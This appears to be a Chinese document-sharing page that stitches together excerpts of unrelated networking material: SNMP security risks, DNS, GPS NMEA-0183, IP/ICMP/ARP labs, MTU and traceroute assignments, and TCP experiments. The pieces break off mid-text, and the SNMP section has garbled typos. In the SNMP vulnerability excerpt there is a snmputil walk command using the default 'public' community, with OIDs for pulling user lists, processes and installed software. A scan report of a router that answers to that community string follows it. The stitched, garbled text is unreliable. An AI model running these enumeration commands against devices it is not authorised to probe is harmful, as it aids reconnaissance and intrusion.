SNMP的前身是简单网管监控协议用来对通信线路进行管理对后人们对SGMP进行了很大的修改特别是加入了符合INTERNET定义的SMI和MIB;体系结构改进后的协议就是著名的SNMP。SNMP的目标是管理互联网INTERNET上众多厂商生产的软硬件平台,因此SNMP收到INTERNET标准网络管理框架的应先也很大。现在SNMP已经出到第三个版本的协议,其功能教以前已经大大地加强了和改进了。SNMP的体系结构是围绕一下四个概念和目标进行设计的保持管理代理(AGENT)的软件成本尽可能低;最大限度地保持远程管理功能,以便充分利用INTERNET的网络资源;体系结构必须有扩充的余地;保持SNMP的独立性,不依赖于具体计算、网管和网络传输协议。在最近的改进中,又加入了保证SNMP体系本身系统安全性的目标。 SNMP风险 接入INTERNET的网络面临许多风险,WEB服务器可能面临攻击,邮件服务器的安全也令人担忧。但除此之外,网络上可能还存在一些隐性的漏洞。大多数网络总有一些设备运行着SNMP服务,许多时候这些SNMP服务是不必要的,但却没有引起网络管理员的重视。 根据SANS协会的报告,对于接入INTERNET的主机,SNMP是威胁安全的十大首要因素之一;同时,SNMP还是INTERNET主机上最常见的服务之一。特别的,SNMP 服务通常在位于网络边缘的设备(防火墙保护权之前爱的设备)上运行,进一步加剧了SNMP带来的风险。这一切听起来出人意料但其实事情不应该是这样的。 一、背景知识 SNMP开发与九十年代早期,其目的是简化大型网络中设备的管理和数据的获取。许多与网络有关的软件包,如HP的OPENVIEW和NORTEL NETWORKS的OPTIVITY NETWORK MANAGEMENT SYSTEM,还有MULTI ROUTER TRAFFIC GRAPHER (MRTG)之类的免费软件,都用SNMP服务来简化网络管理和维护。 由于SNMP效果实在太好了,所以网络硬件厂商开始把SNMP加入到它们制造的每一台设备。今天,各种网络设备上都可以看到默认用的SNMP服务,从交换机到路由器,从防火墙到网络打印机,无一例外。 仅仅是分布广泛还不足以造成威胁,问题是许多厂商安装的SNMP都采用了默认的通信字符串(例如密码),这些通信字符串是程序获取设备信息和修改必不可少的。采用默认通信字符串的好处是网络上的软件可以直接访问设备,无需通过复杂的配置。 通信字符串主要包含两类命令:GET命令、SET命令。GET命令从设备读取数据,这些数据通常是操作参数,例如连接状态、接口名称等。SET命令允许设置设备某些参数。这类功能一般有限制,例如关闭某个网络接口、修改路由器参数等功能。但很显然,GET\SET命令都可能被利用与拒绝服务攻击和恶意修改网络参数。 SNMP2.0和SNMP1.0的安全机制比较脆弱,通信不加密,所有通信字符串和数据都以明文形式发送。攻击者一旦不活了网络通信,就可以利用各种嗅探工具直接获取通信字符串,即是哟过户改变了通信字符串默认值也无济于事。 近几年才出现的SNMP3.0解决了一部分问题,为保护通信字符串,SNMP3.0使用DES算法加密数据通信;另外,SNMP3.0还能够用MD5和SHA技术技术验证节点的标识符,从而防止攻击者冒充管理节点的身份操作网络 虽然SNMP3.0出现已经有一段时间了,但目前还没有广泛应用。如果设备是2、3年前的产品,很可能根本不支持SNMP3.0,甚至有些交心的设备也只有SNMP2.0或SNMP1.0。

实验三 DNS 协议分析

Q1.运行nslookup,查询并记载你的本地DNS 服务器名称及其IP地址,http://biz.doczj.com/doc/fe17796233.html, 的 权威DNS 服务器名称及其IP地址; 答:本地DNS 服务器名称及其IP地址:http://biz.doczj.com/doc/fe17796233.html,,210.33.16.2 http://biz.doczj.com/doc/fe17796233.html, 的权威DNS 服务器名称及其IP地址: http://biz.doczj.com/doc/fe17796233.html, internet address = 210.33.16.3 http://biz.doczj.com/doc/fe17796233.html, internet address = 210.33.16.2 Q2.运行nslookup,查询并记载http://biz.doczj.com/doc/fe17796233.html, 的IP 地址、其权威DNS 服务器名称 和IP地址; 答:http://biz.doczj.com/doc/fe17796233.html,的IP 地址:61.153.22.54 权威DNS 服务器名称和IP地址: http://biz.doczj.com/doc/fe17796233.html, internet address = 221.204.186.6 http://biz.doczj.com/doc/fe17796233.html, internet address = 115.236.151.140 http://biz.doczj.com/doc/fe17796233.html, internet address = 119.167.195.8 http://biz.doczj.com/doc/fe17796233.html, internet address = 183.60.59.232 http://biz.doczj.com/doc/fe17796233.html, internet address = 183.60.57.139 http://biz.doczj.com/doc/fe17796233.html, internet address = 183.60.58.173 http://biz.doczj.com/doc/fe17796233.html, internet address = 60.28.1.34 http://biz.doczj.com/doc/fe17796233.html, internet address = 115.236.151.141

GPS数据协议NMEA0183

GPS 数据协议 NMEA-0183
NMEA 0183 是美国国家海洋电子协会(National Marine Electronics Association )为海用电子设备制定的标准格式。目前业已成了 GPS 导航设备统一的 RTCM(Radio Technical Commission for Maritime services)标准协议。
序号 1 2 3 4 5 6 7
命令 $GPGGA $GPGSA $GPGSV $GPRMC $GPVTG $GPGLL $GPZDA
说明 全球定位数据 卫星 PRN 数据 卫星状态信息 运输定位数据 地面速度信息 大地坐标信息 UTC 时间和日期
最大帧长 72 65 210 70 34
注:发送次序$PZDA、$GPGGA、$GPGLL、$GPVTG、$GPGSA、$GPGSV*3、 $GPRMC 协议帧总说明: 该协议采用 ASCII 码, 其串行通信默认参数为: 波特率=4800bps, 数据位=8bit, 开始位=1bit,停止位=1bit,无奇偶校验。 帧格式形如:$aaccc,ddd,ddd,…,ddd*hh 1、“$”——帧命令起始位 2、aaccc——地址域,前两位为识别符,后三位为语句名 3、ddd…ddd——数据 4、“*”——校验和前缀 5、hh——校验和(check sum),$与*之间所有字符 ASCII 码的校验和(各字 节做异或运算,得到校验和后,再转换 16 进制格式的 ASCII 字符。) 6、——CR(Carriage Return) + LF(Line Feed)帧结束,回车和 换行 GPGGA GPS 固定数据输出语句, 这是一帧 GPS 定位的主要数据, 也是使用最广的数据。
$GPGGA,<1>,<2>,<3>,<4>,<5>,<6>,<7>,<8>,<9>,<10>,<11>,<12>,<13>,<14>*<1 5> <1> UTC 时间,格式为 hhmmss.sss。 <2> 纬度,格式为 ddmm.mmmm(前导位数不足则补 0)。 <3> 纬度半球,N 或 S(北纬或南纬)。 <4> 经度,格式为 dddmm.mmmm(前导位数不足则补 0)。

网络层协议分析实验报告

1、网络层协议分析 1.A 数据包捕获分析部分 1.A.1、实验目的 1)、了解ICMP 协议报文类型及作用。 2)、理解IP协议报文类型和格式。 3)、分析ARP 协议的报文格式,理解ARP 协议的解析过程。 1.A.2、实验容介绍 1)、ICMP协议分析实验 执行ping 和tracert 命令,分别截获报文,分析截获的ICMP 报文类型和ICMP 报文格式,理解ICMP 协议的作用。 2)、IP协议分析实验 使用Ping 命令在两台计算机之间发送数据报,用Wireshark 截获数据报,分析IP 数据报的格式,理解IP V4 地址的编址方法,加深对IP 协议的理解。 3)、IP 数据报分片实验 我们已经从前边的实验中看到,IP 报文要交给数据链路层封装后才能发送。理想情况下,每个IP 报文正好能放在同一个物理帧中发送。但在实际应用中,每种网络技术所支持的最大帧长各不相同。例如:以太网的帧中最多可容纳1500 字节的数据,这个上限被称为物理网络的最大传输单元(MTU,MaxiumTransfer Unit)。 TCP/IP 协议在发送IP 数据报文时,一般选择一个合适的初始长度。当这个报文要从一个MTU 大的子网发送到一个MTU 小的网络时,IP 协议就把这个报文的数据部分分割成能被目的子网所容纳的较小数据分片,组成较小的报文发送。每个较小的报文被称为一个分片(Fragment)。每个分片都有一个IP 报文头,分片后的数据报的IP 报头和原始IP 报头除分片偏移、MF 标志位和校验字段不同外,其他都一样。 重组是分片的逆过程,分片只有到达目的主机时才进行重组。当目的主机收到IP 报文时,根据其片偏移和标志MF 位判断其是否一个分片。若MF 为0,片偏移为0,则表明它是一个完整的报文;否则,则表明它是一个分片。当一个报文的全部分片都到达目的主机时,IP 就根据报头中的标识符和片偏移将它们重新组成一个完整的报文交给上层协议处理。 4)、ARP协议分析实验 本次实验使用的Windows自带的Arp命令,提供了显示和修改地址解析协议所使用的地址映射表的功能。

snmp简单网络管理协议漏洞分析

snmp简单网络管理协议漏洞分析 字体: | 发表于: 2008-4-10 01:23 作者: menyuchun 来源: IXPUB技术博客 简单网络管理协议(SNMP)是一个 可以远程管理计算机和网络设备的协议. 有两种典型的远程监控模式. 他们可以粗略地分为"读"和"写"(或者是PUBLIC和PRIVATE). 如果攻击者能猜出一个PUBLIC团体串值, 那么他就可以从远程设备读取SNMP数据. 这个信息可能包括 系统时间,IP地址,接口,运行着的进程,etc等. 如果攻击者猜出一个PRIVATE团体串值 (写入或"完全控制", 他就有更改远程机器上信息的能力. 这会是一个极大的安全漏洞, 能让攻击者成功地破坏网络,运行的进程,ect. 其实,"完全控制"会给远程攻击者提供在主机上的完全管理权限. 更多信息请参见: ___________________________________________________________________ SNMP Agent responded as expected with community name: public CVE_ID : CAN-1999-0517, CAN-1999-0186, CAN-1999-0254, CAN-1999-0516

BUGTRAQ_ID : 11237, 10576, 177, 2112, 6825, 7081, 7212, 7317, 9681, 986 NESSUS_ID : 10264 Other references : IAVA:2001-B-0001 SNMP服务在UDP 161/162端口监听 用法:snmputil walk IP public [OID] [----------OID-----------------------含义-------] .1.3.6.1.2.1.25.4.2.1.2 获取系统进程 .1.3.6.1.4.1.77.1.2.25.1.1 获取用户列表 .1.3.6.1.4.1.77.1.4.1.0 获取域名 .1.3.6.1.2.1.25.6.3.1.2 获取安装的软件 .1.3.6.1.2.1.1 获取系统信息 -------------------------------------------------------------------- 扫描到的一个报告: . 端口"snmp (161/udp)"发现安全漏洞: Snmp口令: "public" . 端口"snmp (161/udp)"发现安全提示: sysDescr.0 = Draytek V3300 Advanced Router sysUpTime.0 = 3 Days, 1 Hours, 53 Minutes, 10 Seconds

ipv6协议分析实验报告

ipv6协议分析实验报告 篇一:ARP协议分析实验报告 计算机网络 实 验 报 告 学院年级 20XX 班级 4班 学号 3013218158 姓名闫文雄 20XX 年 6 月 17 日 目录 实验名称----------------------------------------------------------------------------------- 1 实验目标----------------------------------------------------------------------------------- 1 实验内容----------------------------------------------------------------------------------- 1 实验步骤---------------------------------------------------

-------------------------------- 1 实验遇到的问题及其解决方法-------------------------------------------------------- 1 实验结论----------------------------------------------------------------------------------- 1 一、实验名称 ARP协议分析 二、实验目标 熟悉ARP命令的使用,理解ARP的工作过程,理解ARP 报文协议格式 三、实验内容以及实验步骤: (局域网中某台计算机,以下称为A计算机) ARP(地址解析协议): 地址解析协议,即ARP(Address Resolution Protocol),是根据IP地址获取物理地址的一个TCP/IP协议。主机发送信息时将包含目标IP地址的ARP请求广播到网络上的所有主机,并接收返回消息,以此确定目标的物理地址;收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间,下次请求时直接查询ARP缓存以节约资源。 ARP是建立在网络中各个主机互相信任的基础上的,网络上的主机可以自主发送ARP应答消息,其他主机收到应答

GNSS输出NEMA协议解析

GNSS 导航芯片输出 NEMA 协议解析 1. NEMA 协议的由来 NMEA 协议是为了在不同的 GPS (全球定位系统)导航设备中建立统一的 BTCM (海事无线电技术委员会)标准,由美国国家海洋电子协会( NMEA-The National Marine Electronics Associa-tion )制定的一套通讯协议。GPS接收机根据NMEA-0183 协议的标准规范,将位置、速度等信息通过串口传送到 PC 机、PDA 等设备。 NMEA-0183 协议是 GPS 接收机应当遵守的标准协议,也是目前 GPS 接收机上使用最广泛的协议,大多数常见的GPS接收机、GPS数据处理软件、导航软件都遵守或者至少兼容这个协议。 NMEA-0183 协议定义的语句非常多,但是常用的或者说兼容性最广的语句只有$GPGGA $GPGSA 、 $GPGSV 、 $GPRMC 、 $GPVTG 、 $GPGLL 等。下面给出这些常用 NMEA-0183 语句的字段定义解释。$GPGGA 例: $GPGGA,092204.999,4250.5589,S,14718.5084,E,1,04,24.4,19.7,M,,,,0000*1F 字段 0: $GPGGA ,语句 ID,表明该语句为 Global Positioning System Fix Data (GGA )GPS 定位信息 字段 1 : UTC 时间, hhmmss.sss ,时分秒格式 字段 2:纬度 ddmm.mmmm ,度分格式(前导位数不足则补 0) 字段3:纬度N (北纬)或S (南纬) 字段 4 :经度 dddmm.mmmm ,度分格式(前导位数不足则补 0 ) 字段 5: 经度 E(东经)或 W(西经) 字段 6: GPS 状态, 0=未定位, 1=非差分定位, 2=差分定位, 3=无效 PPS , 6=正在估算 字段 7: 正在使用的卫星数量( 00 - 12 )(前导位数不足则补 0) 字段 8 : HDOP 水平精度因子( 0.5 - 99.9 ) 字段 9: 海拔高度( -9999.9 - 99999.9 ) 字段 10: 地球椭球面相对大地水准面的高度 字段 11 : 差分时间(从最近一次接收到差分信号开始的秒数,如果不是差分定位将为空) 字段 12: 差分站 ID 号 0000 - 1023 (前导位数不足则补 0,如果不是差分定位将为空) 字段 13: 校验值

网络协议分析实验报告

课程设计 课程设计题目网络协议分析实验报告学生姓名: 学号: 专业: 2014年 6 月 29日

实验1 基于ICMP的MTU测量方法 实验目的 1)掌握ICMP协议 2)掌握PING程序基本原理 3)掌握socket编程技术 4)掌握MTU测量算法 实验任务 编写一个基于ICMP协议测量网络MTU的程序,程序需要完成的功能: 1)使用目标IP地址或域名作为参数,测量本机到目标主机经过网络的MTU; 2)输出到目标主机经过网络的MTU。 实验环境 1)Linux系统; 2)gcc编译工具,gdb调试工具。 实验步骤 1.首先仔细研读ping.c例程,熟悉linux下socket原始套接字编程模式,为实验做好准备; 2.生成最大数据量的IP数据报(64K),数据部分为ICMP格式,ICMP报文为回送请求报 文,IP首部DF位置为1;由发送线程发送; 3.如果收到报文为目标不可达报文,减少数据长度,再次发送,直到收到回送应答报文。 至此,MTU测量完毕。

ICMP协议是一种面向无连接的协议,用于传输出错报告控制信息。它是一个非常重要的协议,它对于网络安全具有极其重要的意义。[1] 它是TCP/IP协议族的一个子协议,属于网络层协议,主要用于在主机与路由器之间传递控制信息,包括报告错误、交换受限控制和状态信息等。当遇到IP数据无法访问目标、IP路由器无法按当前的传输速率转发数据包等情况时,会自动发送ICMP消息。ICMP报文在IP帧结构的首部协议类型字段(Protocol 8bit)的值=1.

ICMP原理 ICMP提供一致易懂的出错报告信息。发送的出错报文返回到发送原数据的设备,因为只有发送设备才是出错报文的逻辑接受者。发送设备随后可根据ICMP报文确定发生错误的类型,并确定如何才能更好地重发失败的数据包。但是ICMP唯一的功能是报告问题而不是纠正错误,纠正错误的任务由发送方完成。 我们在网络中经常会使用到ICMP协议,比如我们经常使用的用于检查网络通不通的Ping命令(Linux和Windows中均有),这个“Ping”的过程实际上就是ICMP协议工作的过程。还有其他的网络命令如跟踪路由的Tracert命令也是基于ICMP协议的。 ICMP(Internet Control Message,网际控制报文协议)是为网关和目标主机而提供的一种差错控制机制,使它们在遇到差错时能把错误报告给报文源发方.是IP层的一个协议。但是由于差错报告在发送给报文源发方时可能也要经过若干子网,因此牵涉到路由选择等问题,所以ICMP报文需通过IP协议来发送。ICMP数据报的数据发送前需要两级封装:首先添加ICMP 报头形成ICMP报文,再添加IP报头形成IP数据报 通信术语最大传输单元(Maximum Transmission Unit,MTU)是指一种通信协议的某一层上面所能通过的最大数据包大小(以字节为单位)。最大传输单元这个参数通常与通信接口有关(网络接口卡、串口等)。 实验2 基于UDP的traceroute程序 实验目的 1)掌握UDP协议 2)掌握UDP客户机/服务器编程模式 3)掌握socket编程技术 4)掌握traceroute算法

Gps协议解析

GPS卫星定位接收器的NMEA协议解析 GPS接收机只要处于工作状态就会源源不断地把接收并计算出的GPS导航定位信息通过串口传送到计算机中。前面的代码只负责从串口接收数据并将其放置于缓存,在没有进一步处理之前缓存中是一长串字节流,这些信息在没有经过分类提取之前是无法加以利用的。因此,必须通过程序将各个字段的信息从缓存字节流中提取出来,将其转化成有实际意义的,可供高层决策使用的定位信息数据。同其他通讯协议类似,对GPS进行信息提取必须首先明确其帧结构,然后才能根据其结构完成对各定位信息的提取。对于本文所使用的GARMIN GPS 天线板,其发送到计算机的数据主要由帧头、帧尾和帧内数据组成,根据数据帧的不同,帧头也不相同,主要有"$GPGGA"、"$GPGSA"、"$ GPGSV"以及"$GPRMC"等。这些帧头标识了后续帧内数据的组成结构,各帧均以回车符和换行符作为帧尾标识一帧的结束。对于通常的情况,我们所关心的定位数据如经纬度、速度、时间等均可以从"$GPRMC"帧中获取得到,该帧的结构及各字段释义如下: $GPRMC,<1>,<2>,<3>,<4>,<5>,<6>,<7>,<8>,<9>,<10>,<11>*hh <1> 当前位置的格林尼治时间,格式为hhmmss <2> 状态, A 为有效位置, V为非有效接收警告,即当前天线视野上方的卫星个数少于3颗。 <3> 纬度, 格式为ddmm.mmmm <4> 标明南北半球, N 为北半球、S为南半球 <5> 径度,格式为dddmm.mmmm <6> 标明东西半球,E为东半球、W为西半球 <7> 地面上的速度,范围为0.0到999.9 <8> 方位角,范围为000.0到359.9 度 <9> 日期, 格式为ddmmyy <10> 地磁变化,从000.0到180.0 度 <11> 地磁变化方向,为E 或W 至于其他几种帧格式,除了特殊用途外,平时并不常用,虽然接收机也在源源不断地向主机发送各种数据帧,但在处理时一般先通过对帧头的判断而只对"$GPRMC"帧进行数据的提取处理。如果情况特殊,需要从其他帧获取数据,处理方法与之也是完全类似的。由于帧内各数据段由逗号分割,因此在处理缓存数据时一般是通过搜寻ASCII码"$"来判断是否是帧头,在对帧头的类别进行识别后再通过对所经历逗号个数的计数来判断出当前正在处理的是哪一种定位导航参数,并作出相应的处理。 附:NMEA0183常用协议格式 说明:NMEA0183格式以“$”开始,主要语句有GPGGA,GPVTG,GPRMC等

TCPIP协议分析试验报告

.. TCP/IP协议分析及应用实验报告 学号:姓名:班级: 实验项目编号: B03862704 实验项目名称:传输控制协议TCP 一、实验目的: 1. 掌握TCP协议的报文格式。 2. 掌握TCP连接的建立和释放过程。 3. 掌握TCP数据传输中编号与确认的过程。 4. 掌握TCP协议校验和的计算方法。 5. 理解TCP重传机制。 二、实验环境: Windows server 2003 TCP/IP协议分析及应用教学实验平台 三、实验原理(或要求): TCP报文格式 16位源端口号 16位目的端口号 位序号32 位确认序号32F P U A R S 4位首6保留(16I 位窗口大小 C 部长R S S Y 位)N N T G K H 度位紧急指针16位校验和16 选项数据 连接的建立TCP在面向连接的环境中,开始传输数据之前,在两个终 TCP是面 向连接的协议。通信双方必须用彼此的初端之间必须先建立一个连接。对于一个 要建立的连接,(指明希望收到的下一个ackseq始化序列号和来自对方成功传输 确认的应答号。ACK,应答信号写为八位组的编号)来同步,习惯上将同步信 号写为SYN整个同步的过程称为三次握手,如图: 优质范文.

连接的释放TCP附加标记的报FINTCP使用四次握手来结束通话(使用一个带有对于一个已经建立的连接,如图。文段) TCP重传机制只要计时器设置的重传时间到期,就对这个报文段设置一次计时器。TCP每发送一个报文段,但还没有收到确认,就要重传这一报文段。

优质范文. .. 四、实验步骤: 练习一:察看TCP连接的建立和释放 主机B、C、D启动协议分析器进行数据捕获,并设置过滤条件(提取TCP协议)。主机A启动仿真编辑器,进入TCP连接视图。在“服务器信息/IP地址”中填入主机C的IP地址;使用“端口扫描”获取主机C的TCP端口列表,在“服务器信息/端口”中填入主机C的一个TCP端口(大于1024);点击“连接”按钮进行连接。 察看主机B、C、D捕获的数据,填写下表。 字段名称报文1 报文2 报文3 Sequence Number Acknowledgement Number ACK SYN TCP连接建立时,前两个报文的首部都有一个“maximum segment size”字段,它的值是多少?作用是什么?结合IEEE802.3协议规定的以太网最大帧长度分析此数据是怎样得出的。 主机A断开与主机C的TCP连接。 察看主机B、C、D捕获的数据,填写下表。

NMEA0183协议说明(中文)

NMEA-0183协议说明 V2.20 2004年1月 注:因本人水平有限,难免出现错,敬请修改。

1、NMEA输出报文 A. GGA –全球定位系统固定数据 $GPGGA,161229.487,3723.2475,N,12158.3416,W,1,07,1.0,9.0,M,,,,0000*18

B. GLL –地理信息——纬度/经度 $GPGLL, 3723.2475,N,12158.3416,W,161229.487,A*2C C. GSA –GNSS DOP(定位点)活动卫星 $GPGSA, A,3,07,02,26,27,09,04,15,,,,,,1.8,1.0,1.5*33

和表1.7应互换) D. GSV –GNSS DOP(定位点)活动卫星 $GPGSV,2,2,07,07,79,048,42,02,51,062,43,26,36,256,42,27,27,138,42*71

E. RMC –推荐的最小具体定位数据 $GPRMC,161229.487,A,3723.2475,N,12158.3416,W,0.13,309.62,120598,,*10

$GPVTG,309.62,T,,M,0.13,N,0,2,K*6E NMEA 输入报文提供了允许通过NMEA协议控制GPS的方法。 传输格式: 1.起始符包含3个字节,从MID100开始(Message identifier consisting of three numeric characters. Input messages begin at MID 100.)。?????? 2.具体数据,特定的数据序列。 3.NMEA定义的校验是2个HEX的字符,适用于所有输入报文。

实验二数据链路层协议分析

实验二以太网链路层帧格式分析一实验目的 1、分析EthernetV2标准规定的MAC层帧结构,了解IEEE802.3标准规定的 MAC层帧结构和TCP/IP的主要协议和协议的层次结构。 2、掌握网络协议分析软件的基本使用方法。 3、掌握网络协议编辑软件的基本使用方法。 二实验内容 1、学习网络协议编辑软件的各组成部分及其功能; 2、学习网络协议分析软件的各组成部分及其功能; 3、学会使用网络协议编辑软件编辑以太网数据包; 4、理解MAC地址的作用; 5、理解MAC首部中的LLC—PDU长度/类型字段的功能; 6、学会观察并分析地址本中的MAC地址。 三实验环境 回2.1- L 四实验流程 小亠| /I J ■ v 开始

结束 图21 2| 五实验原理 在物理媒体上传输的数据难免受到各种不可靠因素的影响而产生差错,为了弥补物理层上的不足,为上层提供无差错的数据传输,就要能对数据进行检错和纠错。数据链路的建立、拆除、对数据的检错,纠错是数据链路层的基本任务。 局域网(LAN)是在一个小的范围内,将分散的独立计算机系统互联起来,实现资源的共享和数据通信。局域网的技术要素包括了体系结构和标准、传输媒体、拓扑结构、数据编码、媒体访问控制和逻 辑链路控制等,其中主要的技术是传输媒体、拓扑结构和媒体访问控制方法。局域网的主要的特点是:地理分布范围小、数据传输速率高、误码率低和协议简单等。 1、三个主要技术 1)传输媒体:双绞线、同轴电缆、光缆、无线。 2)拓扑结构:总线型拓扑、星型拓扑和环型拓扑。 3)媒体访问控制方法:载波监听多路访问/冲突检测(CSMA/CD技术 2、IEEE 802标准的局域网参考模型 IEEE 802参考模型包括了OSI/RM最低两层(物理层和数据链路层)的功能,OSI/RM 的数据链路层功能,在局域网参考模型中被分成媒体访问控制 MAC(Medium Access Control) 和逻辑链路控制LLC(Logical Link Control)两个子层。由于局域网采用的媒体有多种,对应的媒体访问控制方法也有多种,为

相关主题